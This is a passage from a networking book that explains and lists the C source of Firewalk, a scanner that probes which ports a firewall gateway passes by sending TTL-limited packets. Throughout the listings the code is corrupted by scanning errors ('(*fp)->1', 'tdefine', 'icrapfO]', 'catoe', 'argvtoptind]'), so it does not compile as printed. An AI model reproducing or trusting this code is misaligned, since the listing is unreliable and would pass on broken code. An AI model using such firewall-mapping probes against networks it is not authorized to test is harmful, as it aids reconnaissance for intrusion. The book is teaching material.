        * message's payload. An IPv4 header is
        * LIBNET_IPV4_H bytes long ard both ICMP unreachable
        * and time exceed headers are 8 bytes.
        */
       o_ip_hdr = (struct libnet_ipv4_hdr *)
              ((*fp)->packet + (*fp)->packet_offset
              + LIBNET_IPV4_H + 8);

Firewalk needs to check to make sure that the packet is a response to one of its probes. The
FW_IS_OURS() macro checks the IPv4 header from ICMP error message's payload to make sure that it

contains Firewalk's source IP address and its special IP ID:

  /*
   * Check the IP header of the packet; that caused the
   * unreachable for our markings which include:
   * Original IP ID: set to the process id.
   * Original IP source address: our source address.
   */
  if (!FW_IS_OURS(o_ip_hdr, fp))
  {
       break;
  }

If the packet is a response from the etric host during the ramping phase, the scan is considered finished.
Recal from Chapter 9 that when an ICMP unreachable message is generated dur_-g an IP expiry scan in
response to a UDP packet, it is a terminal packet. The same holds true (in this case) for TTL expired in transit
messages. Firewalk returns the terminal response, which results in program shutdown:

  if (ip_hdr->ip_src.s_addr == (*fp)->metric)
  {
       /*
        * ICMP response from our metric. This ends
        * our scan since we've reached the metric
        * before the target gateway.
        */
       return ((icmp_hdr->icmp_type == ICMP_TIMXCEED) ?
               FW_PACKET_IS_TERMINAL_TTL_EX:
               FW_PACKET_IS_TERMINAL_UNIEACH);
  }



If the packet is a response from the target gateway during the ramping phase, Firewalk attempts to start
scanning. TIL expired in transit messages from target gateways are considered normal while unreachable
messages are often indicative of prohibitive filtering. Because an unreachable from the target gateway
message is not the expected TTL expired in transit message, results of the scanning phase might vary.
Firewalk binds the scan, which results in the program moving to the scanning phase:

  if (ip_hdr->ip_src.s_addr == (*fp)->gateway)
  {
       /*
        * Response from our target gateway.
        */
       (*fp)->flags |= FW_BOUND;
  }

If control falls through down here, the packet is a response from an intermediate router. Firewalk treats it as a
normal intermediate host and returns the response resulting in the ramping phase continuing:

       /*
        * If we get to this point, the packet is an
        * ICMP response from an intermediate router.
        */
       return ((icmp_hdr->icmp_type == ICMP_TIMXCEED) ?
               FW_PACKET_IS_TTL_EX_EN_ROUTE:
               FW_PACKET_IS_UNREACH_EN_ROUTE);
       break;
    default:
       break;
  }

TCP packets, which should only be encountered when Firewalk is using the TCP protocol and only then
when the metric is reached, are handled here:

  case IPPROTO_TCP:

Firewalk first makes a quick sanity check to ensure that the current session uses TCP:

  if ((*fp)->protocol != IPPROTO_TCP)
  {
       /*
        * We're only interested in TCP packets if this is a
        * TCP-based scan.
        */
       break;
  }

  tcp_hdr = (struct libnet_tcp_hdr *)
          ((*fp)->packet +
          (*fp)->packet_offset + LIBNET_IPV4_H);



Firewalk scans by using SYN packets, and as such, only SYN|ACK and RST packets should be returned:

  if (!(tcp_hdr->th_flags & TH_SYN) &&
       !(tcp_hdr->th_flags & TH_RST))
  {
       /*
        * We only care about SYN|ACK and RST|ACK packets.
        * The rest can burn.
        */
        break;
  }

According to RFC 793, an RST or an SYN|ACK will have the sequence number of the sender +1 as its
acknowledgement number (and an RST packet will have the ACK bit set). When strict RFC checking is
enabled (via the -r switch at the command line), Firewalk will enforce this policy on TCP-based scans and

will ignore response packets that do not meet this criterion (that it would otherwise accept):

  if ((*fp)->flags & FW_STRICT_RFC)
  {
       /*
        * Strict RFC compliance dictates that an RST or
        * an SYN|ACK will have our SEQ + 1 as the ACK number
        * also, the RST will have the ACK bit set) . This is of
        * course, assuming the packet is ours.
        */
       if (ntohl(tcp_hdr->th_ack) != (*fp)->seq + 1)
       {
            break;
       }
  }

Firewalk checks the TCP tuple information to make sure that this packet is a response to its probe:

  if (ntohs(tcp_hdr->th_dport) == (*fp)->sport &&
       ntohs(tcp_hdr->th_sport) == (*fp)->dport)
  {

As noted earlier, a TCP response from the metric is always a terminal one. Firewalk returns the terminal
response, which results in program shutdown:

            /* this is most likely a response to our SYN probe */
            return (((tcp_hdr->th_flags & TH_SYN) ?
                   FW_PACKET_IS_TERMINAL_SYNACK :
                   FW_PACKET_IS_TERMINAL_RST));
       }
       break;
  }



If control reaches here, the packet is not a response to a Firewalk probe:

      return (FW_PACKET_IS_BORING);
  }

The scanning phase verification function fw_packet_verify_scan() appears in Figure 12.10.

Figure 12.10: Firewalk packet verification (scanning phase) flowchart.

The scanning phase verification process is simpler than the ramping phase process. Again, Firewalk has to
make sure that the packet is a response from a probe that it sent, but due to the more limited nature of
scanning, the types of responses that it must account for form a narrow set.

fw_packet_verify_scan() has almost identical logic as the ramping phase verification function, with the

only difference being that once an ICMP or TCP packet is verified to be a response to a Firewalk probe,
Firewalk returns a different code to the fw_packet_capture() function indicative of the type of packet that

was received. The code for dealing with UDP-based scans is as follows:

  if (FW IS OURS(o_ip_hdr, fp) )
  {
       /* the packet made it through the filter */
       return ((icmp_hdr->icmp_type == ICMP_TIMXCEED) ?
              FW_PORT_IS_OPEN_TTL_EX :
              FW_PORT_IS_OPEN_UNREACH);
  }

The code for dealing with TCP-based scans is as follows:

  if (ntohs(tcp_hdr->th_dport) == (*fp)->sport &&
          ntohs(tcp_hdr->th_sport) == (*fp)->dport)
  {
       /* the packet made it through the filter */
       return (((tcp_hdr->th_flags & TH_SYN) ?
              FW_PORT_IS_OPEN_SYNACK :
              FW_PORT_IS_OPEN_RST));



  }

Shutdown

Anytime an error is encountered, the user hits Ctrl-c (which sends an interrupt signal). Or, if the program
completes successfully, Firewalk exits gracefully with the following function:

  void
  fw_shutdown(struct firepack **fp)
  {

There are times when you could call this function with a NULL fp pointer. To avoid any messy segmentation

violations, Firewalk checks to ensure that fp is a valid pointer:

  if (*fp)
  {

Firewalk then systematically shuts down and frees all of the states associated with fp, including the libnet and

libpcap contexts as well as the libnet port list chain:

  if ((*fp)->p)
  {
       pcap_close((*fp)->p);
  }
  if ((*fp)->1)
  {
       libnet_destroy((*fp)->1);
  }
  if ((*fp)->plist)
  {
       libnet_plist_chain_free((*fp)->plist);
  }

Finally, the memory associated with fp is freed. The pointer is set to NULL to avoid any dangling pointer

issues:

            free(*fp);
            *fp = NULL;
       }
  }

 



 

Firewalk Complete Code Listing

The following 14 source files comprise the Firewalk codebase. To preserve readability, we richly comment the code but do not
include booktext inside the code. You can download the full source files from this book's companion Web site at
http://www.wiley.com/compbooks/schiffman and from http://www.packetfactory.net/firewalk .

Firewalk.h

  /*
   * $Id: firewalk.h,v 1.5 2002/05/14 23:28:37 route Exp $
   *
   * Firewalk 5.0
   * firewalk.h - Interface
   *
   * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
   * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
   * http://www.packetfactory.net/firewalk
   *
   */

  #ifndef _FIREWALK_H
  #define _FIREWALK_H

  #include <setjmp.h>
  #include <ctype.h>
  #include <pcap.h>
  #include <dnet.h>
  #include <libnet.h>

  #define FW_BANNER "Firewalk (c) 2002 Mike D. Schiffman \
  <mike@infonexus.com>\nhttp://www.packetfactory.net/firewalk\n\
  for more information.\n"

  /* responses for the ramping phase */
  #define FW_NO_REPLY                             0x00
  #define FW_PACKET_IS_BORING                     0x01
  #define FW_PACKET_IS_TTL_EX_EN_ROUTE            0x02
  #define FW_PACKET_IS_UNREACH_EN_ROUTE           0x03
  #define FW_PACKET_IS_TERMINAL_TTL_EX            0x04
  #define FW_PACKET_IS_TERMINAL_UNREACH           0x05
  #define FW_PACKET_IS_TERMINAL_SYNACK            0x06
  #define FW_PACKET_IS_TERMINAL_RST               0x07

  /* responses for the scanning phase */
  #define FW_PORT_IS_OPEN_SYNACK                  0x08
  #define FW_PORT_IS_OPEN_RST                     0x09
  #define FW_PORT_IS_OPEN_UNREACH                 0x0a
  #define FW_PORT_IS_OPEN_TTL_EX                  0x0b

http://www.wiley.com/compbooks/schiffman
http://www.packetfactory.net/firewalk


  /* misc responses */
  #define FW_ABORT_SCAN                           0xfd
  #define FW_USER_INTERRUPT                       0xfe
  #define FW_SERIOUS_ERROR                        0xff

  /* default libpcap timeout */
  #define FW_REPLY_TIMEOUT                        0x02

  /* snapshot length */
  #define FW_SNAPLEN                              0x60
  #define FW_DEFAULT_PORT_LIST                   "1-130,139,1025"

  /* various minimums and maximums */
  #define FW_PORT_MAX                             0xffff
  tdefine FW_PORT_MIN                             0x00
  #define FW_PCAP_TIMEOUT_MAX                     0x3e8
  #define FW_PCAP_TIMEOUT_MIN                     0x01
  #define FW_IP_HOP_MAX                           0x19
  #define FW_IP_HOP_MIN                           0x01
  #define FW_XV_MAX                               0x08
  #define FW_XV_MIN                               0x01

  /* BPF filter strings */
  #define FW_BPF_FILTER_UDP    "icmp[0] == 11 or icrapfO] == 3 or udp"
  #define FW_BPF_FILTER_TCP    "icmpfO] == 11 or icmp[0] == 3 or tcp[13] ==\
                                0x12 or tcp[13] == 0x4 or tcp[13] == 0x14"

  /* checks if an IF packet inside of ICMP error message is ours */
  #define FW_IS_OURS(ip, fp)                         \
            (ntohs(ip->ip_id) ==                      \
            (*fp)->id && ip->ip_src.s_addr ==      \
            (*fp)->sin.sin_addr.s_addr) !=0

  /* firewalk statistics structure */
  struct firepack_stats
  {
       u_short ports_total;                       /* number of ports scanned */
       u_short ports_open;                        /* open ports */
       u_short ports_unknown;                     /* unknown ports */
       u_long packets_sent;                       /* packets sent */
       u_long packets_err;                        /* packets errors */
       u_long packets_caught;                     /* packets we caught total */
       u_short packets_caught_interesting;        /* packets we cared about */
  };
  /* main monolithic firewalk context structure */
  struct firepack
  {
       char *device;                               /* interface */
       u_char *packet;                             /* packet captured from the wire */
       pcap_t *p;                                  /* libpcap context */
       libnet_t *1;                                /* libnet context */
       libnet_plist_t *plist;                      /* linked list of ports */



       u_short ttl;                                /* starting IP TTL */
       u_short sport;                              /* source port */
       u_short dport;                              /* ramping destination port */
       u_short id;                                 /* firepack packet ID */
       u_short packet_size;                        /* outgoing packet size */
       u_char xv;                                  /* expiry vector */
       u_char flags;                               /* internal flags used by the
                                                      program */
  #define FW_RESOLVE      0x01                     /* resolve IP addresses */
  #define FW_STRICT_RFC   0x02                     /* strict RFC 793 compliance */
  #define FW_BOUND        0x04                     /* bound scan */
  #define FW_FINGERPRINT  0x08                     /* fingerprint (TCP only) */
       int packet_offset;                          /* IP packet offset */
       int protocol;                               /* firewalking protocol to use */
       int pcap_timeout;                           /* packet capturing timeout */
       u_long gateway;                             /* gateway to probe */
       u_long metric;                              /* metric host */
       u_long seq;                                 /* TCP sequence number used */
       libnet_ptag_t ip;                           /* ip ptag */
       libnet_ptag_t udp;                          /* udp ptag */
       libnet_ptag_t tcp;                          /* tcp ptag */
       libnet_ptag_t icmp;                         /* icmp ptag */
       struct sockaddr_in sin;                     /* socket address structure */
       struct firepack_stats stats;                /* stats */
  #define FW_ERRBUF_SIZE          0x100            /* 256 bytes */
       char errbuf[FW_ERRBUF_SIZE];                /* errors here */
  };

  /* initializes firewalk context */
  int                                              /* 1 on success -1 or failure */
  fw_init_context(
       struct firepack **,                         /* firewalk context */
       char *
       );

  /* initialize firewalk networking primitives */
  int                                              /* 1 on success -1 or failure */
  fw_init_net(
       struct firepack **,                         /* firewalk context */
       char *,                                     /* target gateway */
       char *,                                     /* metric */
       char *                                      /* port list or NULL */
       );

  /* ramping/scanning driver */
  int
  firewalk(
       struct firepack **                          /* firewalk context */
       );

  /* build initial probe template */
  int                                              /* 1 on success -1 or failure */



  fw_packet_build_probe(
       struct firepack **                          /* firewalk context */
       );

  /* build UDP header */
  int                                              /* 1 on success -1 or failure */
  fw_packet_build_udp(
       struct firepack **                          /* firewalk context */
       );

  /* build TCP header */
  int                                              /* 1 on success -1 or failure */
  fw_packet_build_tcp(
       struct firepack **                          /* firewalk context */
       );

  /* build ICMP header */
  int                                              /* 1 on success -1 or failure */
  fw_packet_build_icmp(
       struct firepack **                          /* firewalk context */
       );

  /* capture packet from network */
  int                                              /* -1 on failure or packet code */
  fw__packet_capture (
       struct firepack **                          /* firewalk context */
       );
 
  /* sets libpcap BPF filter */
  int                                              /* 1 on success -1 or failure */
  fw_set_pcap_filter(
       char *,                                     /* filter code to install */
       struct firepack **                          /* firewalk context */
       );

  /* injects packet to network */
  int                                              /* 1 on success -1 or failure */
  fw_packet_inject(
       struct firepack **                          /* firewalk context */
       );

  /* updates packet template */
  int                                              /* 1 on success -1 or failure */
  fw_packet_update_probe(
       struct firepack **,                         /* firewalk context */
       u_short                                     /* 0 for ramping cport for scanning */
       );

  /* verifies a ramping response */
  int                                              /* packet code */
  fw_packet_verify_ramp(
       struct firepack **                          /* firewalk context */



       );

  /* verifies a scanning response */
  int                                              /* packet code */
  fw_packet_verify_scan(
       struct firepack **                          /* firewalk context */
       );

  /* writes info to the user */
  void
  fw_report(
       int,                                        /* packet class */
       struct firepack **                          /* firewalk context */
       );

  /* looks up the ICMP unreachable code of a response */
  char*                                            /* unreachable code
  fw_get_unreach_code(
       struct firepack **                          /* firewalk context */
       );

  /* report statistics to the user */
  void
  fw_report_stats(
       struct firepack **                          /* firewalk context */
       );

  /* installs a new signal handler for a specified signal */
  int                                              /* 1 on success -1 or failure */
  catch_sig(
       int,                                        /* signal to catch */
       void (*)()                                  /* new signal handler */
       );

  /* handles SIGINT from user */
  void
  catch_sigint(
  int                                              /* unused */
  );

  /* converts a string to an int within the bounds specified */
  int
  fw_str2int(
       register const char *,                      /* value to convert */
       register const char *,                      /* canonical definition */
       register int,                               /* minimum */
       register int);                              /* maximum */

  /* coverts canonical protocol to integer representation */
  int                                              /* -1 on failure or protocol */
  fw_prot_select(
       char *                                      /* protocol */



       );

  /* shutdown firewalk */
  void
  fw_shutdown(
       struct firepack **                          /* firewalk context */
       );

  /* dump usage */
  void
  usage(
       u_char *                                    /* argv[0] */
       );

  #endif /* _FIREWALK_H */

  /* EOF */

unreachables.h

  /*
   * $Id: unreachables.h,v 1.2 2002/05/14 23:28:37 route Exp $
   *
   * Firewalk 5.0
   * unreachables.h - ICMP unreachable codes
   *
   * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
   * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
   * http://www.packetfactory.net/firewalk
   *
   */

  #ifndef _FW_UNREACHABLES_H
  #define _FW_UNREACHABLES_H
  char *unreachables[] =
  {
       "ICMP_UNREACH_NET",
       "ICMP_UNREACH_HOST" ,
       "ICMP_UNREACH_PROTOCOL",
       "ICMP_UNREACH_PORT",
       "ICMP_UNREACH_NEEDFRAG",
       "ICMP_UNREACH_SRCFAIL",
       "ICMP_UNREACH_NET_UNKNOWN",
       "ICMP_UNREACH_HOST_UNKNOWN",
       "ICMP_UNREACH_ISOLATED",
       "ICMP_UNREACH_NET_PROHIB",
       "ICMP_UNREACH_HOST_PROHIB",
       "ICMP_UNREACH_TOSNET",
       "ICMP_UNREACH_TOSHOST",
       "ICMP_UNREACH_FILTER_PROHIB",



       "ICMP_UNREACH_HOST_PRECEDENCE",
       "ICMP_UNREACH_PRECEDENCE_CUTOFF",
       0
  };

  #endif /* _FW_UNREACHABLES_H */

  /* EOF */

firewalk.c

  /*
   * $Id: firewalk.c.v 1.2 2002/05/14 23:28:37 route Exp $
   *
   * Firewalk 5.0
   * firewalk.c - Scanning driver
   *
   * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
   * Copyright (a) 1998, 1999 Davia E. Goldsmith <dave@infonexus.com>
   * http://www.packetfactory.net/firewalk
   *
   */

  #if (HAVE_CONFIG_H)
  #include "../include/config.h"
  #endif
  #include "../include/firewalk.h"

  int
  firewalk(struct firepack **fp)
  {
       int done, i, j;
       u_short bport, cport, eport;
  /* inform the user what's what */
  printf("%s-based scan.\n",
       (*fp)->protocol == IPPROTO_TCP ? "TCP" : "UDP");
  printf("Ramping phase source port: %d, destination port: %d n",
       (*fp)->sport, (*fp)->dport);
  if ((*fp)->flags & FW_STRICT_RFC && (*fp)->protocol == IPPROTO_TCP)
  {
       printf("Using strict RFC adherence.\n");
  }
  printf("Hotfoot through %s using %s as a metric.\n",
       libnet_addr2name4(((*fp)->gateway),
       ((*fp)->flags) & FW_RESOLVE),
       libnet_addr2name4(((*fp)->metric),
       ((*fp)->flags) & FW_RESOLVE));
  /*
   * PHASE ONE: Firewalk hopcount ramping
   * A standard Traceroute-style IP expiry scan is initiated towards



   * the metric, with the intent being to find how many hops away the
   * target gateway is from the scanning host. We'll increment the
   * hopcounter and update packet template each pass through the
   * loop.
   */
  printf("Ramping Phase:\n");
  for (done = 0, i = 0; !done && i < FW_IP_HOP_MAX; i++)
  {
       /* send a series of probes (currently only one) */
       for (j = 0; j < 1; j++)
       {
            fprintf(stderr, "%2d (TTL %2d): ", i + 1, (*fp)->ttl);
            if (fw_packet_inject(fp) == -1)
            {
                 /*
                  * Perhaps this write error was transient. We'll hope
                  * for the best. Inform the user and continue.
                  */
                 fprintf(stderr, "fw_packet_inject(): %s\n",
                       (*fp)->errbuf);
                  continue;
            }
            switch (fw_packet_capture(fp))
            {
                 case FW_PACKET_IS_UNREACH_EN_ROUTE:
                 case FW_PACKET_IS_TTL_EX_EN_ROUTE:
                      if ((*fp)->flags & FW_BOUND)
                      {
                           printf("Binding host reached.\n");
                           done = 1;
                      }
                      break;
                 case FW_PACKET_IS_TERMINAL_TTL_EX:
                 case FW_PACKET_IS_TERMINAL_UNREACH:
                 case FW_PACKET_IS_TERMINAL_SYNACK:
                 case FW_PACKET_IS_TERMINAL_RST:
                      /* any terminal response will end phase one */
                      done = 1;
                      break;
                 case -1:
                 case FW_SERIOUS_ERROR:
                      /* err msg set in fw_packet_capture() */
                      return (FW_SERIOUS_ERROR);
                 case FW_USER_INTERRUPT:
                      /* user hit ctrl-c */
                      return (FW_USER_INTERRUPT);
            }
       }
       if (Idone)
       {
            if (fw_packet_update_probe(fp, cport) == -1)
            {



                 /* error msg set in fw_packet_update_probe */
                 return (-1);
            }
       }
       }
  if (done && !((*fp)->flags & FW_BOUND))
  {
       /*
        * If we're "done" but not "bound" then we hit the metric
        * before we hit the target gateway. This means the target
        * gateway is not en route to the metric. Game's over kids.
        */
       sprintf((*fp)->errbuf,
            "metric responded before target; must not be en route");
       return (FW_ABORT_SCAN);
  }
  if (idone)
  {
       /* if we fall through down here, we've exceeded our hopcount */
       sprintf((*fp)->errbuf, "hopcount exceeded");
       return (FW_ABORT_SCAN);
  }
  /*
   *  PHASE TWO: Firewalk scanning
   * A series of probes are sent to the metric with the bound IP
   * TTL. If a given probe is accepted through the target gateway's
   * ACL, we will receive an ICMP TTL expired in transit from the
   * binding host. If we receive no response after the timeout
   * expires, it is assumed the probe violated the ACL on the target
   * and was dropped.
   */
            (*fp)->ttl += (*fp)->xv;
            printf("Scan bound at %d hops.\n", (*fp)->ttl);
            printf("Scanning Phase: \n");
            for (done = 0, i = 0; Idone; i++)
            {
                 if (!libnet_plist_chain_next_pair((*fp)->plist, &bport, &eport))
                 {
                      /* we've exhausted our portlist and we're done */
                      done = 1;
                      continue;
                 }
                 while (!(bport > eport) && bport != 0)
                 {
                      cport = bport++;
                      if (fw_packet_update_probe(fp, cport) == -1)
                      {
                          /* error msg set in fw_packet_update_probe */
                          return (-1);
                      }

                      /* send a series of probes (currently only one) */



                      for (j = 0; j < 1; j++)
                      {
                           fprintf(stderr, "port %3d: ", cport);
                           (*fp)->stats.ports_total++;
                           if (fw_packet_inject(fp) == -1)
                           {
                               /*
                                * Perhaps this write error was transient. We'll
                                * hope for the best. Inform the user and
                                * continue.
                                */
                               fprintf{stderr, "fw_packet_inject(): %s\n",
                                       (*fp)->errbuf);
                               continue;
                           }
                           /* we only care if the return value is an error */
                           switch(fw_packet_capture(fp))
                           {
                               case FW_USER_INTERRUPT:
                                   return (FW_USER_INTERRUPT) ;
                                   case -1:
                               case FW_SERIOUS_ERROR:
                                    /* err msg set in fw_packet_capture() */
                                    return (FW_SERIOUS_ERROR);
                               default:
                                   /* empty */
                           }
                     }
                }
         }
       return (1);
  }

  /* EOF */

init.c

/*
 * $Id: init.c,v 1.4 2002/05/14 23:28:37 route Exp $
 *
 * Firewalk 5.0
 * init.c - Main loop driver initialization
 *
 * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
 * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
 * http://www.packetfactory.net/firewalk
 *
 */

#if (HAVE_CONFIG_H)



#include "../include/config.h"
#endif
#include "../include/firewalk.h"

int
fw_init_context(struct firepack **fp, char *errbuf)
{
     *fp = (struct firepack *)malloc(sizeof(struct firepack));
     if (*fp == NULL)
     {
          snprintf(errbuf, FW_ERRBUF_SIZE, "malloct): %s", strerror(errno));
          return (-1);
     }
     memset(*fp, 0, sizeof(struct firepack));

     /* set defaults here */
     (*fp)->ttl                   = 1                /* initial probe IP TTL */
     (*fp)->sport                 = 53;              /* source port (TCP and UDP) */
     (*fp) dport                  = 33434;           /* ala traceroute */
     (*fp)->protocol              = IPPROTO_UDP;
     (*fp)->id                    = getpidO;
     (*fp)->pcap_timeout          = FW_REPLY_TIMEOUT;
     (*fp)->xv                    = 1;
     (*fp)->flags                |= FW_RESOLVE;

     /* setup our signal handler to handle a ctrl-c */
     if (catch_sig(SIGINT, catch_sigint) == -1)
     {
          snprintf(errbuf, FW_ERRBUF_SIZE, "catch_sig(): %s",
               strerror(errno));
          return (-1);
     }
     return (1);
}

int
fw_init_net(struct firepack **fp, char *gw, char *m, char *port_list)
{
#if HAVE_BPF
     int one;
#endif
     char errbuf[PCAP_ERRBUF_SIZE];

     /* get a libnet context */
     (*fp)->l = libnet_init(LIBNET_LINK, (*fp)->device, errbuf);
     if ((*fp)->l == NULL)
     {
          snprintf (*fp)->errbuf, FW_ERRBUF_SIZE, "libnet_init(): %s", errbuf);
          return (-1);
     }

     /* get our device if the user didn't specify one*/



     if ((*fp)->device == NULL)
     {
          (*fp)->device = libnet_getdevice((*fp)->1);
     }

     /* get the source address of our outgoing interface */
     (*fp)->sin.sin_addr.s_addr = libnet_get_ipaddr4((*fp)->1);

     /* setup the target gateway */
     if (((*fp)->gateway = libnet_name2addr4((*fp)->1, gw, 1)) == -1)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
               "libnet_name2addr4(): %s (target gateway: %s)",
               libnet_geterror((*fp)->1), m);
          return (-1);
     }

/* setup the metric */
if (((*fp)->metric = libnet_name2addr4((*fp)->1, m, 1) ) == -1)
{
     snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
               "libnet_nanie2addr4() : %s (metric: %s)",
               libnet_geterror((*fp)->1), m);
     return (-1);
}
     /* sanity check */
     if ((*fp)->gateway == (*fp)->metric)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
               "target gateway and metric cannot be the same");
          return (-1);
     }

     /* get our port list stuff situated */
     if (libnet_plist_chain_new((*fp)->1, &(*fp)->plist,
          port_list == NULL ? strdup(FW_DEFAULT_PORT_LIST) :
          port_list) == -1)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
               "libnet_plist_chain_new(): %s\n", libnet_geterror((*fp)->1));
          return (-1);
     }

     /* get a pcap context */
     (*fp)->p = pcap_open_live((*fp)->device, FW_SNAPLEN, 0, 0, errbuf);
     if (((*fp)->p) == NULL)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE, "pcap_open_live(): %s",
               errbuf);
          return (-1);
     }



#if HAVE_BPF
     /*
      * BPF, by default, will buffer packets inside the kernel until
      * either the timer expires (which we do not use) or when the
      * buffer fills up. This is not sufficient for us since we could
      * responses to our probes. So we set BIOCIMMEDIATE to tell BPF
      * miss to return immediately when it gets a packet. This is
      * pretty much the same behavior we see with Linux which returns
      * every time it sees a packet. This is less than efficient since
      * we're spending more time interrupting the kernel, but hey, we
      * gotta get our work done!
      */
     one = 1;
     if (ioctl(pcap_fileno((*fp)->p), BIOCIMMEDIATE, &one) < 0)
     {
          snprintf((*fp)->errbuf, FW_ERRBUF_SIZE,
               "ioctlO: BIOCIMMEDIATE: %s", strerror (errno));
          return (-1);
     }
#endif

     /* get the datalink size */
     switch (pcap_datalink((*fp)->p))
{
     case DLT_SLIP:
          (*fp)->packet_offset = 0x10;
          break;
     case DLT_RAW:
          (*fp)->packet_offset = 0x00;
          break;
     case DLT_PPP:
          (*fp)->packet_offset = 0x04;
          break
     case DLT_EN10MB:
     default:
          (*fp)->packet_offset = 0x0e;
          break;
}

/*
 * Set pcap filter and determine outgoing packet size. The filter
 * will be determined by the scanning protocol:
 * UDP scan:
 * icmp[0] == 11 or icmp[0] == 3 or udp
 * TCP scan:
 * icmp[0] == 11 or icmp[0] == 3 or tcp[14] == 0x12 or tcp[14] \
 * == 0x4 or tcp[14] == 0x14
 */
switch ((*fp)->protocol)
{
     case IPPROTO_UDP:
          if (fw_set_pcap_filter(FW_BPF_FILTER_UDP, fp) == -1)



          {
               /* err msg set in fw_set_pcap_filter() */
               return (-1);
          }
          /* IP + UDP */
          (*fp)->packet_size = LIBNET_IPV4_H + LIBNET_UDP_H;
          break;
     case IPPROTO_TCP:
          if (fw_set_pcap_filter(FW_BPF_FILTER_TCP, fp) == -1)
          {
               /* err msg set in fw_set_pcap_filter() */
               return (-1);
          }
          /* IP + TCP */.
          (*fp)->packet_size = LIBNET_IPV4_H + LIBNET_TCP_H;

          /* randomize the TCP sequence number */
          libnet_seed_prand((*fp)->1);
          (*fp)->seq = libnet_get_prand(LIBNET_PRu32);
          break;
     default:
          sprintf((*fp)->errbuf,
                    "fw_init_network(): unsupported protocol");
               return (-1);
          }

          /*
           * Build a probe packet template. We'll use this packet template
           * over and over for each write to the network, modifying certain
           * fields (IP TTL, UDP/TCP ports and of course checksums) as we go.
           */
          if (fw_packet_build_probe(fp) == -1)
          {
               /* error msg set in fw_packet_build_probe() */
               return (-1);
          }
          return (1);
     }

     void
     fw_shutdown(struct firepack **fp)
     {
          if (*fp)
          {
               if ((*fp)->p)
          {
               pcap_close((*fp)->p);
          }
          if {(*fp)->l)
          {
               libnet_destroy((*fp)->1);
          }



               if ((*fp)->plist)
          {
               libnet_plist_chain_free((*fp)->plist);
          }

          free(*fp);
          *fp = NULL;
     }
}

/* EOF */

main.c

     /*
      * $Id: main.c,v 1.5 2002/05/14 23:28:37 route Exp $
      *
      * Firewalk 5.0
      * main.c - Main control logic
      *
      * Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com>
      * Copyright (c) 1998, 1999 David E. Goldsmith <dave@infonexus.com>
      * http://www.packetfactory.net/firewalk
      *
      */

     #if (HAVE_CONFIG_H)
     #include "../include/config,h"
     #endif
     #include "../include/firewalk.h"
     #include "../version.h"

     int
     main(int argc, char *argv[])
     {
          int c;
          struct firepack *fp;
          char *port_list = NULL;
          char errbuf[FW_ERRBUF_SIZE];

          printf("Firewalk 5.0 [gateway ACL scanner] n");

          /*
           * Initialize the main control context. We keep all of our
           * program state here and this is used by just about every
           * function in the program.
           */
          if (fw_init_context(&fp, errbuf) == -1)
          {
               fprintf(stderr, "fw_init_control(): %s\n", errbuf);
               goto done;



          }

          /* process commandline arguments */
          while ((c = getopt(argc, argv, "d:fhi:no:p:rS:s:T:t:vx:")) != EOF)
          {
               switch (c)
               {
                    case 'd':
                         /* destination port to use during ramping phase */
                         fp->dport = fw_str2int(optarg, "ramping destination port",
                              FW_PORT_MIN, FW_PORT_MAX);
                         break;
                    case 'f':
                         /* stack fingerprint of each host */
                         fp->flags |= FW_FINGERPRINT;
                         break;
                    case 'h':
                         /* program help */
                         usage(argv[0]);
                         break;
                    case 'i':
                         /* interface */
                         fp->device = optarg;
                         break;
                    case 'n':
                         /* do not use names */
                         fp->flags &= FW_RESOLVE;
                         break;
                    case 'p':
                         /* select firewalk protocol */
                         fp->protocol = fw_prot_select(optarg);
                         break;
                    case 'r':
                         /* Strict RFC adherence */
                         fp->flags |= FW_STRICT_RFC;
                          break;
                    case 'S':
                         /* scan these ports */
                         port_list = optarg;
                         break;
                    case 's':
                         /* source port */
                          fp->sport = fw_str2int(optarg, "source port",
                              FW_PORT_MIN, FW_PORT_MAX);
                         break;
                    case 'T':
                         /* time to wait for packets from other end */
                              fp->pcap_timeout = fw_str2int(optarg, "read timer",
                                   FW_PCAP_TIMEOUT_MIN, FW_PCAP_TIMEOUT_MAX);
                         break;
                    case 't':
                         /* set initial IP TTL */



                         fp->ttl = fw_str2int(optarg, "initial TTL",
                              FW_IP_HOP_MIN, FW_IP_HOP_MAX);
                    break;
                    catoe 'v':
                         /* version */
                         printf(FW_BAMNER "version : %s\n", VERSION);
                         goto done;
                    case 'x':
                         /* expire vector */
                         fp->xv = fw_str2int(optarg, "expire vector",
                              FW_XV_MIN, FW_XV_MAX);
                         break;
                    default:
                              usage(argv[0]);
          }
     }

     c = argc - optind;
     if (c != 2)
     {
          /*
           * We should only have two arguments at this point, the target
           * gateway and the metric.
           */
          usage(argv[0]);
     }

     /* initialize the network components */
     if (fw_init_net(&fp, argvtoptind], argv[optind + I], port_list) == -1)
     {
          fprintf(stderr, "fw_init_network(): %s\n", fp->errbuf);
          goto done;
     }
     printf("Firewalk state initialization completed successfully.\n");

     /* execute scan: phase one, and hopefully phase two */
     switch (firewalk(fcfp))
     {
          case -1:
          case FW_SERIOUS_ERROR:
               /* grievous error of some sort */
               fprintf(stderr, "firewalk(): %s\n", fp->errbuf);
               break;
          case FW_ABORT_SCAN:
               /* hop count exceeded or metric en route */
               fprintf(stderr, "Scan aborted: %s.\n", fp->errbuf);
               break;
          case FW_USER_INTERRUPT:
               fprintf (stderr, "Scan aborted by user.\n");
               break;
          default:
               printf(" nScan completed successfullyAn");



               break;
     }
 done:
     fw_report_stats(&fp);
     fw_shutdown(&fp);
     /* we should probably record proper exit status */
     return (EXIT_SUCCESS);
}

void
usage(u_char *argvO)
{
     fprintf(stderr, "Usage : %s [options] target_gateway metric\n"
